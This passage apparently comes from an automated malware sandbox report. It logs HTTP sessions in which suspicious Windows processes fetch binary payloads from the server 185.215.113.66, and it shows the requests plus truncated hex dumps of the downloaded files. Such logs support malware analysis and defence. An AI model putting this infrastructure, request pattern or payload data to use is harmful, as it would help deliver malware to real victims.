May 8, 2024 15:23:55.650135994 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:23:55 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.8	49750	185.215.113.66	80	5588	C:\Windows\sysbrapsvc.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:24:13.604774952 CEST	166	OUT	GET /1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
May 8, 2024 15:24:13.944143057 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:24:13 GMT Content-Type: application/octet-stream Content-Length: 101120 Last-Modified: Mon, 06 May 2024 15:20:46 GMT Connection: keep-alive ETag: "6638f54e-18b00" Accept-Ranges: bytes Data Raw: 2f eb 3b ff 22 8c 9e 7e d6 fa 86 16 25 d6 a1 eb 91 96 d2 6e ab 38 67 1c 3d 47 67 87 68 ce 24 2a dd 8d 07 7d 5e 1e 53 cf 7f 9f bc 53 5d 8e 04 f4 f9 09 4a 15 22 50 da b8 68 9f b3 a6 2d c0 84 94 bb 51 1c 79 b8 aa a0 30 32 32 47 8d 6d c6 9a 54 e9 66 08 fd 3c 2e b3 c9 6e 64 08 31 1f 3f ff cb e3 5e 8e 52 06 1f cf 42 06 a5 8d 78 fa ea fd 6c 47 55 3f a1 8a 36 0c 86 c2 37 a5 0d 96 df 47 6a f5 fa 9a ed d8 93 3c 00 a3 68 3d ee 32 c5 ce 5c c0 ae a1 7a ce 06 9b c4 2e 52 b9 87 a6 d5 8b 39 3e 60 52 51 20 df b6 cc b3 c5 97 33 24 0a 47 ff 73 ac cb 3b c1 25 f9 65 a7 9c 1b 55 78 a9 8a 26 c3 ad f0 c1 e2 6f 5b 1e 78 02 51 ed a0 19 31 a4 eb 64 ee 81 19 3b bb 92 5d 6f 1c dc 69 3e 42 33 60 0f 00 c2 e7 19 a3 9d d8 cd 2d d6 f7 1a 97 fa b6 df d6 69 04 54 0b aa 9f 3e 4d 56 2f 90 eb e5 dc 5f 4d 79 f6 da af 61 e3 70 78 76 42 ab 75 81 3d 29 65 73 41 39 c5 1e 6c 94 fd 3d 7c 17 bc fa 05 70 cd 19 c0 34 4e 24 68 bb ab d4 7f 18 4f 60 99 c0 3b 20 b9 ee e7 94 7e 1a 1a fd 3b e8 a4 77 5f e0 81 37 62 a8 66 c5 b8 b7 c9 32 ef ce 1c 9b 4a e9 [TRUNCATED] Data Ascii: /;"~%n8g=Ggh$}^SS]J"Ph-Qy022GmTf<.nd1?^RBxlGU?67Gj<h=2\z.R9>`RQ 3$Gs;%eUx&o[xQ1d;]oi>B3`-iT>MV/_MyapxvBu=)esA9l=\|p4N$hO`; ~;w_7bf2J6%9K2!PeeQfYwIf59Bs:L7-lgw/nlOsk,c$Mt7=PGKN6EDy!Ig6Yt7exU]5{Yl+5ZN'"'zZ}K2~:/U~1\M^lx1M8/50>f{VG%w uVTo=?ZUc~tMto\|;q{x]+^(qpmKA<qvv9'b.T/Gp_e,7os?g&\|d(v[d}\|Xa1jv&B7j\o\|N!i/u.,o#/v]1&o3T}l{fKV_E-&!1~uZ0}_+_i\|sV!B[@L;;le;fGr<i7DLP`}8y#WqO)h/E^r7QuJ0 [TRUNCATED]
May 8, 2024 15:24:13.944158077 CEST	1289	IN	Data Raw: a0 2d e3 56 4f b5 70 35 f0 87 6d 9a a1 c6 80 d4 8f 8d da 29 da 12 7f 44 65 55 c5 e5 ad 6b 7f 92 1c 16 4c 62 59 24 20 27 a1 4e a6 58 37 f1 d4 4e 3a b8 07 27 be fe 79 d2 0a 4d a3 e9 b3 d3 27 ea 71 3e 45 12 d6 e4 a1 f1 c5 ca 1e dc 0b 6b c4 4d 1d bf Data Ascii: -VOp5m)DeUkLbY$ 'NX7N:'yM'q>EkM2YN JemGZ%>:P@OXW9E:>;n;EK_ptl[}?/EBR -zw{k@/ETJ4CSoD7K)N&)LPl8i:^.;?D
May 8, 2024 15:24:13.944180012 CEST	1289	IN	Data Raw: 34 95 48 63 4a 56 69 1b b6 d0 11 8b 43 3d f9 9b c1 7e ce 35 63 32 b1 a5 bd a2 ce 1d 8c 3c cd 5a 8c 04 19 20 36 cc 80 30 f7 36 0b bb 1c 5d aa ca 75 b1 fb f0 12 10 c5 8d b1 6b da 5c 25 f5 99 66 3a 04 1d 9f 21 83 7b 3f 47 a0 62 23 9e 6d 75 fc 06 13 Data Ascii: 4HcJViC=~5c2<Z 606]uk\%f:!{?Gb#mue/bE)Ac,1_zXGl}J ,AoXu=/Tx;sGP'ZECi\ogb)]>JpA7NdI&"=%}w7a
May 8, 2024 15:24:13.944194078 CEST	1289	IN	Data Raw: 22 ee 51 86 c3 82 42 12 1e 23 94 22 31 32 98 d8 93 42 06 bc 3e ab 5a 7e 1b b2 9c 93 cf ed de db 56 ff d1 9a e8 c0 a3 e2 8c 16 0b 5d 25 0a f3 39 83 b8 8e d5 dc dd 2b 93 5a e8 e1 72 b6 41 ca d0 a8 ce 28 87 51 da 7d bc 57 1f 72 5e d5 40 0c 79 f6 6c Data Ascii: "QB#"12B>Z~V]%9+ZrA(Q}Wr^@yl4~n~uqy7Bk0k32[XOjxLve.BivxU8Qj-S,& fV?X#4J#< ^e\':l}btB
May 8, 2024 15:24:13.944262981 CEST	1289	IN	Data Raw: 14 17 af 0e 52 15 bc 73 cd 28 6c 9d fe 63 14 1c 81 15 ba ea f5 f5 b7 18 2c 57 40 8e 55 0c 7a 93 9e 99 9a 75 58 fb 01 95 7d 90 03 43 86 04 d7 af c7 1e 33 a6 17 c0 a6 8c 9d 26 ea af 5b e0 69 e8 2c 10 54 6a b6 4d be 13 63 30 f7 27 ee 68 6a 25 06 d1 Data Ascii: Rs(lc,W@UzuX}C3&[i,TjMc0'hj%M>V*w=dfcwo$/n7.^Kfy37Iz[VZLF\|%\|s79\"%pNl\Rk-</'HQB14.k-!B>1lZ0_
May 8, 2024 15:24:13.944277048 CEST	1289	IN	Data Raw: 35 03 c6 69 a0 71 ee 00 0e a5 c7 7d 33 36 84 19 87 ec 1d 2d 6e 04 a5 fc 51 32 b5 18 97 f4 6e b2 82 9a bc 7e 2e b5 ce 63 92 99 20 a2 65 9f af 42 2a c0 06 b2 b1 5f 51 05 f2 20 e9 91 74 c6 3b 6d f0 ef ad 0c 15 65 45 32 52 e2 3e b3 a4 99 bd da e9 96 Data Ascii: 5iq}36-nQ2n~.c eB_Q t;meE2R>pLyFU+:&1:PQB\?rumgqeP</;IzfMY;H,bmj{dVT2}-^ZY4]/eVI#/ z?_hX*w
May 8, 2024 15:24:13.944302082 CEST	1289	IN	Data Raw: d8 48 56 8b 5a b8 ab 63 32 07 0b 67 c9 9d d3 d0 75 09 e8 eb e5 85 2b b1 4b 64 12 fb 9c e5 a1 9e 3e 41 f0 08 2b 61 3b be 1e ef f1 0f 7b ff 90 28 db 02 fd 0f f0 e6 ec 08 87 94 5a 41 43 69 77 86 7b 79 28 5c 46 19 4a c0 d4 50 6f 9b 01 a5 ae 12 8d b2 Data Ascii: HVZc2gu+Kd>A+a;{(ZACiw{y(\FJPoc,}-$g.j<+aoeO2(SL=[9HB8[s]YA1A/:FE0xJxUX>IWDWa5PH4(ho%q$qp
May 8, 2024 15:24:13.944365025 CEST	1289	IN	Data Raw: 09 b8 2f 79 14 9d ef 6d 09 77 e2 b2 60 84 e0 9b 45 3b 28 02 15 15 9d ee 50 b6 f6 a2 b9 1c 76 7f f6 8e c3 38 89 c2 df 40 2c 53 36 cd b3 d6 ff 35 7b 9a 79 01 e8 17 61 73 47 03 e2 a4 42 20 5c d3 65 07 0a a3 2b f7 e1 65 81 c9 7e 21 47 71 a8 a8 b3 a3 Data Ascii: /ymw`E;(Pv8@,S65{yasGB \e+e~!GqKw;)+UXd4lseiezy}(<vaSf>_$eRiZ(,MyrL?BtwUYPwTV/cPUfJcrd
May 8, 2024 15:24:13.944423914 CEST	1289	IN	Data Raw: 38 90 ee eb 04 9b f4 3f 3f 31 b6 f4 34 59 eb 6f 0d 53 13 67 d4 a1 dd c3 95 f8 9d 11 aa 8d 8a b2 7f b6 e2 78 a8 ff 57 39 a8 95 52 70 35 c8 b2 cf 61 5e 07 6e c8 61 4d 84 b3 92 7e 9e 09 75 d9 93 53 13 9b ee 06 d3 75 48 e5 df e6 d0 96 53 bb de 81 4a Data Ascii: 8??14YoSgxW9Rp5a^naM~uSuHSJD>K4!o=zxNE:Mpy?WoQ!vP8K(9G(q>.(#7W}UQ.f~MaQz\ztY7Z0}R]O$\"TjEqjZ_
May 8, 2024 15:24:13.944467068 CEST	1289	IN	Data Raw: 3e b9 6e 66 f4 fb b3 e5 57 91 84 03 4d 3c 75 8e d7 b8 2f 54 26 be a9 d1 85 0b 7e d0 0a 77 d7 05 f5 56 ae ed ef 4e de 31 b6 25 1c e8 ca be e4 f9 b8 c4 c6 5f d6 09 b9 e9 43 fa 6f 7e 6e 7e b7 96 64 d5 3c 37 b6 f3 c8 ac fe 60 12 77 27 ea 10 ec 4a 1f Data Ascii: >nfWM<u/T&~wVN1%_Co~n~d<7`w'JCyKx-WO)fZ<eSz1WZoE2}-S:O:yQzt{Dx/Y0_eP#81n]FaBZx4hY4PE~Z#/kdXf
May 8, 2024 15:24:14.282414913 CEST	1289	IN	Data Raw: 8b b3 71 d9 c8 da 74 f5 6d 13 ab 82 5f 0f d7 2a 75 8b dd 33 63 1c b2 7d 94 1e 26 53 ac e2 1f 13 96 62 30 be f6 91 83 88 02 53 ab 64 26 46 78 9c 5f 55 53 4e e7 85 20 bf 19 62 c8 f4 73 7a 7b f7 95 a5 e0 a7 b3 5f af 93 4b f8 e5 09 51 e9 cb 5b 41 72 Data Ascii: qtm_u3c}&Sb0Sd&Fx_USN bsz{_KQ[Ary#<Fc)aH\|!9*kjj?1~_Lc_>c\{LY#w^1d1?2jl&.ln)(An%e{Bj<q=+nG)=W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.8	49751	185.215.113.66	80	5588	C:\Windows\sysbrapsvc.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:24:16.329678059 CEST	166	OUT	GET /2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 185.215.113.66
May 8, 2024 15:24:16.672487020 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:24:16 GMT Content-Type: application/octet-stream Content-Length: 15104 Last-Modified: Wed, 24 Apr 2024 23:21:57 GMT Connection: keep-alive ETag: "66299415-3b00" Accept-Ranges: bytes Data Raw: 4b e8 23 1d 0c 94 79 42 1c 1c 48 97 49 7a 96 f6 a9 d0 37 98 4e 18 a4 bf cd f5 ce 8d 00 4d 6c f6 9f 43 ea c4 50 f3 99 cb 6f 7f 29 ac 33 c1 1e 12 8e 34 8d 95 a7 ea 7c 62 91 62 10 61 f3 ab d4 6a b1 0a 3d 8c 22 70 e0 78 c2 05 ad 0c 8b 93 0b 61 d5 48 27 b5 a2 b1 76 88 94 ff 6e a7 e9 f4 c7 c3 48 3f d7 cf bd f1 a2 8e e1 3f ec 46 4f c8 b8 9d ea b3 ae d7 87 06 73 47 a9 ac 62 e9 fd b0 18 6e 84 ec 0c cc 82 c3 0f 82 5b 02 ec 9d e4 64 88 4f 2c 46 10 a4 dd 63 b7 a7 cf 5a b0 db fe 14 f8 fc 55 50 cc 7c 1d 98 b3 60 c0 ab 71 f8 25 3c 61 53 64 a0 d3 ce 2f 05 a7 f8 76 5a 2c 96 b3 67 78 59 67 17 11 7c b1 fe e0 a8 92 e8 4c 1f 74 26 fa 7b a2 02 92 bd ec 3d 08 ec f4 72 ef a3 d5 25 9e 4d 8d f4 d4 47 a5 08 6f c7 c5 f9 ab c6 e4 bc 48 81 e4 5d 23 c3 79 7c 8c fc ca 58 d2 4c 8c 18 bd e7 fe 22 4a b2 30 ad 4c 30 bd 90 e0 18 d2 77 c0 4a b1 c5 9d 03 c5 97 f3 e7 2d 46 d9 ae 13 86 5f 69 ce 8e 09 a4 95 a5 45 bb 82 e4 74 81 eb d2 3a a2 a1 37 25 c3 bc bd 85 b2 3c 84 47 5f 0e a3 fc ac d5 4b 82 de 1e ec fd 0e df 86 a8 6e 37 43 21 0d cf 8d [TRUNCATED] Data Ascii: K#yBHIz7NMlCPo)34\|bbaj="pxaH'vnH??FOsGbn[dO,FcZUP\|`q%<aSd/vZ,gxYg\|Lt&{=r%MGoH]#y\|XL"J0L0wJ-F_iEt:7%<G_Kn7C!XY={GRsw!0l0[!^irP:X$B(<:&axtQL[y<1:8cJi{Cw)Vx&`[gFkW?(5pnH$~vL%i_oZ4S~R6.0i[y ?JD!sn9a:z^Ee'4G~ULV<`9o8X'.63dd4kiZY!IvK<iH6HmMU>}L&0d{R!A7RZi(";b%Y.0#J2@Bs:g@h{^G<[Y/x6seZ8etZ=N.O`-,STepH7[:wf4kE5)Mm{:<tW;?U`y.E0nk(D}=OLX9i,,a~pYZA/ qD_T.> [TRUNCATED]
May 8, 2024 15:24:16.672868967 CEST	1289	IN	Data Raw: b9 ec 48 5b bc 5c c5 cc 74 49 24 c8 79 28 87 7d 84 00 80 4b 76 48 a4 b5 c0 ff 47 f3 67 e3 7b 80 0f 8a 5f 14 81 b8 50 87 65 ef 85 cb 83 a1 8e f8 3c 60 82 4a 42 41 ed f5 9c d7 f1 6d 7a f0 c4 f6 40 ab 1b b9 0b a9 9f 8f 86 18 c8 d5 0d da 24 be 61 cd Data Ascii: H[\tI$y(}KvHGg{_Pe<`JBAmz@$a3/rB"SGAiD5#kK3"ZKD*6O(!nYA@2o<~&$PeX9As_q\|0GRl'fB3CxjHgxQ\|
May 8, 2024 15:24:16.672887087 CEST	1289	IN	Data Raw: 45 42 8e 2f e3 a5 18 82 da 03 3a a4 b5 2d a1 cc 37 03 69 95 7d 8f 7b 54 01 71 8e c4 3c 1f 9c 2b ad 07 75 d3 bc 03 00 7d 31 8d c5 42 72 2d 6e 86 18 0e 56 a1 80 c2 b6 5e de 4b 38 06 74 de 9d 2e 9f 49 8a 79 ba 55 46 49 9b d6 40 be 1d a1 f4 bd 0f 33 Data Ascii: EB/:-7i}{Tq<+u}1Br-nV^K8t.IyUFI@39^+8"B;cr+=T]*:~uf+]tg]}>F.ez_4:6Mt9Lm`9xtIqMf@&/\|F"PM__SEy`f'`.,c#%
May 8, 2024 15:24:16.672931910 CEST	1289	IN	Data Raw: da 8a 40 49 4a f5 3a 1a df 96 c3 5f 0b 5a fc fe 03 4c f2 79 5f f5 de 80 39 49 a1 18 82 83 a3 40 51 3b 3c fe 6c 6c 94 0c b1 5b bc 8b ed d1 7c 5e c4 2e 4e 83 35 ee 93 1e 6d f3 28 c0 26 4d 8e 20 52 43 de 37 80 2d 91 55 16 b0 af ab 19 02 2f 81 e9 0b Data Ascii: @IJ:_ZLy_9I@Q;<ll[\|^.N5m(&M RC7-U/VgtXt@<d5YK9G_2T.DsTzyH9H<">e6G{R9NzGGtjLT?+&5Ovx[~UY2&Q'de+RB
May 8, 2024 15:24:16.672945976 CEST	1289	IN	Data Raw: 01 e6 18 ad 0b 22 41 6b 9e 7f 93 1a ff da a3 28 22 08 4f 91 02 a2 0e 21 66 5b a8 47 fe a7 74 30 ea 1c 20 8a e3 83 e5 7a 80 18 1d cc 7e 49 21 86 2a 3c 44 43 ea fd 59 98 ca e1 d0 8f b5 75 78 82 8a e2 00 e7 c3 4f c9 1d f5 00 9e 8f 84 bb b8 d7 09 78 Data Ascii: "Ak("O!f[Gt0 z~I!*<DCYuxOx+raM"/t\|^0R)P?r\4=fPv59B?CYfFD9BXP?f=.<b9zjQ]N@0~wz)<;Nxh]lZxAA
May 8, 2024 15:24:16.672959089 CEST	1289	IN	Data Raw: 04 9d 4a 4c 14 24 26 c4 de 87 af 70 f7 9a db c5 37 e1 99 d6 4d 49 6e 3c ca 13 32 ce 4f c8 3d cf 9c 75 f7 39 33 ae d0 e9 2e c3 c1 27 ec 8c 48 eb bc fa 18 f5 35 d4 8d 03 53 8f b5 de 92 1f 06 92 3e 7e 86 5d b9 d8 56 a2 d8 bb 5b a8 f8 24 7c e8 af 89 Data Ascii: JL$&p7MIn<2O=u93.'H5S>~]V[$\|lHU\9UT4,pE.>xUP]&[M8umLoyUv!n<oQ(qsOLTrEkoQ6["xYN*o]82[[]hQk
May 8, 2024 15:24:16.672972918 CEST	1289	IN	Data Raw: 63 4e a9 de 95 aa 2e 7f d9 b7 ec cb 22 f6 3a f9 a9 fd 09 ba af 7a 20 26 53 5c 56 ab b4 12 a3 a3 13 92 a9 a3 b3 b7 88 24 91 fe af b7 4d 6d aa 49 bb 3b db 05 4d dd c1 9a 06 78 f9 2e 80 c3 fd ee c7 0c 12 d1 35 c3 90 49 c3 62 9c f8 2e db 66 5b 23 36 Data Ascii: cN.":z &S\V$MmI;Mx.5Ib.f[#6uSmlBs'T,n{77=gQGvZg}_Tvr_TQ.m@e%1h&UsK{d$kd@BX=j,Txx.Fu)l7HG
May 8, 2024 15:24:16.672996044 CEST	1289	IN	Data Raw: a7 43 34 40 b4 d0 9d 08 a3 50 0a b7 0e 8f 75 5d a1 9d 97 cc 78 60 14 aa 50 49 87 5f 7b ea 4a 4a 04 07 48 74 6f ee a8 f8 7c 95 fb f1 67 17 5a f6 d7 f5 3c 71 da 95 45 63 ef 40 7e 70 a5 c3 5a 0f a0 c5 39 33 03 56 c5 72 f4 e3 ed 18 af cd ae e2 05 fd Data Ascii: C4@Pu]x`PI_{JJHto\|gZ<qEc@~pZ93VrYdDP`<,8TV9qE3aiz840,pNjh,i!QNyWIqg6<H]DF-wT? g
May 8, 2024 15:24:16.673655987 CEST	1289	IN	Data Raw: 8b dc 5d b4 f4 ef ae e9 8f 3d df c4 73 4c a2 43 f5 40 dd b9 c2 9e 4a ef a7 94 46 22 7e eb 9d 07 ef 56 a2 0a 91 2a 3e 19 b0 aa 70 43 27 d6 6e 17 0b 09 a8 fe 7c d8 2b 9f 53 96 84 d4 0e ff 47 5f e5 8b f2 de 76 6c 7c 3f fb 84 77 de 16 ea 81 5a 2f 57 Data Ascii: ]=sLC@JF"~V*>pC'n\|+SG_vl\|?wZ/W>4I(yCg(,)=w6w{lN_D.p{_lt^cp\M?qk$^PRs+J{9{9Tx'0(an_
May 8, 2024 15:24:16.673712969 CEST	1289	IN	Data Raw: 9c f1 66 6e 7b 16 a8 3b cc a9 0c 47 ce e3 93 fd d1 ce 45 51 15 64 a0 9f 8d ee ce b2 f9 a1 2c 7b 24 b5 56 8e 26 03 64 c2 be d2 53 99 5a 89 1a eb 71 e6 8a 6a 4f dd 8a 5f 29 06 34 ae 10 9a 0f b5 2e 71 77 d3 bd 50 59 e2 bf c7 0b ed 0a b9 b6 f0 38 8f Data Ascii: fn{;GEQd,{$V&dSZqjO_)4.qwPY8ZW>j!3 W^aOWAnI90?R+CYwUMvW\u{ZRJXKY'vf?7%D/TH1v:R>$OB%6G"
May 8, 2024 15:24:17.011748075 CEST	1289	IN	Data Raw: cf 2f 9f 00 d6 88 6b aa cc 3c bf 1b 58 09 08 29 f2 9e 1b 4d 03 db b7 da cf 87 ba 63 2d fa 4e 97 8f 36 8e 87 c4 b1 7d 60 4d 1d 39 a5 82 8c 33 69 c1 01 64 ae f2 cc 7e 7b f5 97 a0 ce 47 0a 40 4c 55 28 fa 7a 7e a6 5d ab 44 20 19 20 11 0a 99 8e c4 a8 Data Ascii: /k<X)Mc-N6}`M93id~{G@LU(z~]D F r3F4`e)[T!#~SK*\|hr+hkvoHY=3+et8-}zg[u1!y\EpE(Ou3zC:]baAzaWk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.8	49752	185.215.113.66	80	2060	C:\Users\user\AppData\Local\Temp\1146722911.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:24:18.626554966 CEST	167	OUT	GET /_1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Host: 185.215.113.66
May 8, 2024 15:24:18.966797113 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:24:18 GMT Content-Type: application/octet-stream Content-Length: 9224 Last-Modified: Wed, 08 May 2024 11:35:13 GMT Connection: keep-alive ETag: "663b6371-2408" Accept-Ranges: bytes Data Raw: 4e 47 53 21 00 02 00 00 cc da 9c ef c1 96 97 c6 a6 fa 74 6e 9a a2 42 84 a8 83 88 1a b9 20 6d 57 1d 32 de db 10 4c 8c be 23 3a d0 0d 1a 7e 97 fc 31 4d da 46 81 5c 54 e1 4f ef 9c d7 8b 98 6d cf f6 fc 2f dd d0 3c e7 eb c9 01 dd 87 63 83 9d a7 ab c6 43 be 3b 55 fd 37 91 4c 34 55 8e 4d 2c 25 a9 37 be 5a c3 2f 4e eb de d4 96 5b 64 b4 cc 09 be 82 dd 50 f1 6f 53 e9 5c 18 4d ab a1 d8 5c 05 72 55 d1 39 79 8e 8f c0 92 cc a4 84 42 44 84 55 98 8d 35 a7 71 dd f3 7d cc 69 c7 1d ff 18 43 cb a8 42 76 bb da 5a 79 5d 6b c2 c5 f9 3a f6 e3 61 14 36 11 23 7d 5d 3b 29 e1 32 8f c8 5e 22 a3 94 cf 93 1b ce 69 76 8d 1a d6 b4 4e 17 c2 fc 6d 6f 5f 41 00 87 00 c1 5f 00 7a 90 23 9a 51 7e 6e ae bf 1f e4 d0 d3 05 f0 fc 12 6f 78 c3 a9 ca 71 9f 03 b0 4a 07 64 51 21 79 73 30 e4 81 db c9 bd 32 2d 2e 4e bb 64 35 3a 1e 08 41 ed 8e f2 82 df ca 88 fb cf 5a a9 2c 73 62 1a 32 e0 1d 0a 32 b4 69 31 73 bd 7a f9 be 30 a8 54 da ec 30 fb 26 08 4e 51 27 6a 3c b8 81 1a 42 af 5b 2e 70 90 d0 0b 79 f6 84 99 ba 95 ff f0 e9 82 3b 1b ec 96 ae 48 14 95 a7 [TRUNCATED] Data Ascii: NGS!tnB mW2L#:~1MF\TOm/<cC;U7L4UM,%7Z/N[dPoS\M\rU9yBDU5q}iCBvZy]k:a6#}];)2^"ivNmo_A_z#Q~noxqJdQ!ys02-.Nd5:AZ,sb22i1sz0T0&NQ'j<B[.py;H0<yKk6G\lNC=ct{MsThZXlT?S/Q0LfZW,Mif \AMF'bhlJ>xI2ZXeG)W8'QLTc=>Dw,NM?0N"!2 `_j8`Fy$D7EjYO&$b.o+zNANMeuumeBV5(%VhRYtNL(2=;DpsubxAl\|s,d2-E`pw *vh+GO> IngxCmFh{2Z7\|k\|`{E#&VV)A>G>#(#,#>KXF=p"iehp7wmt,TNUI~,~iP~V}flj7z_RJLdYKj<yDVTmT@G=GEQlk>nQi^a4\|Qp^<r49xLv_ [TRUNCATED]
May 8, 2024 15:24:18.966952085 CEST	1289	IN	Data Raw: c2 0b 7f 53 28 72 18 a7 0b ee 55 6f cb 3d 74 0d 0f 24 2a d4 e2 5e f1 11 0b 67 be e2 a9 95 d4 e3 1a 8a 33 c3 fb 3a 06 e7 5d 63 2c a9 76 a4 40 5b 95 94 55 4e 4f 9d 58 43 89 59 bb 37 cc 7f 1f 27 11 42 25 58 d1 91 c5 11 5e 4d dc 47 c6 41 78 cc c4 9f Data Ascii: S(rUo=t$^g3:]c,v@[UNOXCY7'B%X^MGAx-,-El4oc[Tp-%!Ch2)U]Rs;c2E-:-lO~i:2FM3vT&\|\|,A0&(,dT{[{>q87tP_V
May 8, 2024 15:24:18.966968060 CEST	1289	IN	Data Raw: 0a 77 7f 18 36 b7 b6 91 f6 e6 01 f7 fb 10 50 4a 85 63 ef 94 f5 60 b5 c8 06 c8 3d 64 69 da a8 6d 30 32 bf 1e 29 ff 8e c7 b9 25 0e f1 a7 27 9c 08 3d 52 af 70 5d 92 9b c2 a7 1b ca 81 72 a0 4e a1 bd 92 d3 71 a2 66 e1 25 b1 70 36 c3 d0 df c7 b3 11 ca Data Ascii: w6PJc`=dim02)%'=Rp]rNqf%p6/f ^v8M4E@jX5'3A!c@jW]l\|7dqsG8v^f']MKhR1HVE&9pX6@n4VX3DNi
May 8, 2024 15:24:18.966980934 CEST	1289	IN	Data Raw: 2a 80 d4 70 56 39 70 59 4d 0f e5 66 e8 46 12 cf 0a fe df f4 7c 25 6d 8f ac d6 8c 63 e2 2c af d7 d4 f1 79 23 96 79 70 f7 15 71 bf 22 00 5f b0 b7 32 f5 4d 1d cc 3f 86 c7 00 fa 71 80 a2 6f 15 92 cb d2 09 07 bf 39 61 4a 6d 1f f0 cf 9a b2 82 28 c8 65 Data Ascii: pV9pYMfF\|%mc,y#ypq"_2M?qo9aJm(eXpv=,a6o[C%9=cg78xpN&xh[l6R?LdL .[</.`;&1R/Q
May 8, 2024 15:24:18.967149019 CEST	1289	IN	Data Raw: a4 9d aa 76 a5 5b 73 c6 19 e8 80 c3 a4 48 a8 85 ca 88 43 82 67 d3 d6 66 0d 7a 36 34 64 b8 83 cc 98 a4 67 cf 4e 4f 4c 68 80 0c 75 9a 0c 85 a3 9c a5 bd 4a bc ea 47 7f b8 71 b4 9d a0 7b 9b 68 85 84 2c 86 b1 1b 7c 8a 14 67 c6 41 95 51 ff 3e 18 83 6f Data Ascii: v[sHCgfz64dgNOLhuJGq{h,\|gAQ>o5{91GaBJRq!_fRy*QCRWLbdTs@/ENA5)d{# o`k_<AiHqN,6eH )LTn^Qnyap)SaM
May 8, 2024 15:24:18.967163086 CEST	1289	IN	Data Raw: 57 ab c1 04 01 4b 78 e6 fc e2 60 39 58 67 cd 41 fc 8a 98 51 b7 4e 6b 4a 3f 87 57 5b 23 21 30 63 d3 6c 63 28 b8 9d ad 2a f5 dc 9b 65 17 ea 19 98 63 fc 8a 0d a7 60 46 fe bc 00 2c d3 b0 d9 d7 df 54 e5 97 00 01 e8 bb 31 c9 86 36 56 69 db 80 e2 55 b0 Data Ascii: WKx`9XgAQNkJ?W[#!0clc(*ec`F,T16ViUt[1"Y!?n{T\,\|q=q/0T?\QIjcv(JHJdc7-{-sc>d!ql#LqlrvD;`-w/IO:
May 8, 2024 15:24:18.967175961 CEST	1289	IN	Data Raw: 87 d2 44 52 54 d0 7c d3 ef bf 7d 15 8c 05 3e 44 a3 62 eb a9 16 ee 0a e7 ea b7 a4 36 c3 dd c3 ee cf 88 56 4c 2c e5 fd 02 ae 51 65 dc 04 6f dc 97 ca e5 49 9f 6a 7c b1 6c bb b7 39 b1 02 59 2f 47 11 1d c1 f7 34 ba c1 23 0c a5 17 8c cb 01 63 77 22 31 Data Ascii: DRT\|}>Db6VL,QeoIj\|l9Y/G4#cw"1A~.<ZBoD"`(W;`T73-"pI;Igk"DryYwDZMU(RRV)H:Z:{{5\rBn}oIq_7,>h.tV{r
